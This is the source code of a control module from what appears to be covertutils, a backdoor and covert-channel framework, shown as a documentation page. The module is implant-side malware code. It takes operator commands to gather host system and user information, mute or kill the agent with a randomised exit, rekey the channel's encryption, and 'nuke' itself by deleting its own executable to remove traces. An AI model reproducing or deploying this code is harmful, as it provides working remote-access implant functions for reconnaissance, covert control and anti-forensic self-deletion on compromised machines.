Source code for covertutils.payloads.generic.control

[docs]def init( storage ) : Commands = { 'reset' : 'R', 'identity' : 'ID', 'sysinfo' : 'SI', 'kill' : 'KI', 'mute' : 'MU', 'unmute' : 'UM', 'nuke' : 'NK', 'check_sync' : 'CS', 'sync' : 'Y', 'chpasswd' : 'PWD', } storage['commands'] = Commands def wait_exit() : import os, random, time time.sleep(random.randint(1,5)) os._exit(random.randint(0,256)) storage['wait_exit_func'] = wait_exit def nuke() : import os, sys filename = sys.argv[0] os.unlink(filename) storage['nuke_func'] = nuke def dummy_send(raw) : return storage['dummy_send_func'] = dummy_send storage['real_send_func'] = storage['COMMON']['handler'].send_function def chpasswd (passwd) : from time import sleep sleep(0.1) storage['COMMON']['handler'].getOrchestrator().initCrypto(passwd) storage['chpasswd_func'] = chpasswd return True
[docs]def work( storage, message ) : # print( "Control message: %s" % message ) import re args = re.split("\s", message) message = args[0] if message == storage['commands']['reset'] : storage['COMMON']['handler'].reset() return 'OK' elif message == storage['commands']['identity'] : return storage['COMMON']['handler'].orchestrator.getIdentity()[:8] elif message == storage['commands']['sync'] : stream = args[1] # print type(args), args storage['COMMON']['handler'].getOrchestrator().reset( streams = [stream] ) # print "Reseted" return 'OK' elif message == storage['commands']['chpasswd'] : new_passwd = args[1] import threading print storage.keys() chpasswd_thread = threading.Thread( target = storage['chpasswd_func'], args = ( new_passwd, ) ) chpasswd_thread.start() return 'OK' elif message == storage['commands']['kill'] : storage['COMMON']['handler'].stop() import threading kill_thread = threading.Thread(target = storage['wait_exit_func']) kill_thread.start() return "OK" elif message == storage['commands']['mute'] : # if (storage['COMMON']['handler']) # If it is interrogating, storage['COMMON']['handler'].send_function = storage['dummy_send_func'] return "OK" # just for the hell of it elif message == storage['commands']['unmute'] : storage['COMMON']['handler'].send_function = storage['real_send_func'] return "OK" # elif message == storage['commands']['nuke'] : storage['nuke_func']() return "OK" # elif message == storage['commands']['check_sync'] : import json orch = storage['COMMON']['handler'].getOrchestrator() ret_dict = {} for stream in orch.getStreams() : ret_dict[stream] = orch.getKeyCycles(stream) ret = json.dumps(ret_dict).replace( " ","" ) return ret elif message == storage['commands']['sysinfo'] : import platform, json, getpass, locale ret = "+".join([ # 113 bytes platform.node(), platform.machine(), platform.version(), '-'.join(locale.getdefaultlocale()), platform.platform(), platform.release(), platform.system(), platform.processor(), getpass.getuser(), '-'.join(platform.win32_ver()), '-'.join(platform.libc_ver()), # '-'.join(platform.mac_ver()), ]) # ret = json.dumps(info).replace( " ","" ) # to save some bytes return ret else : return "N/A"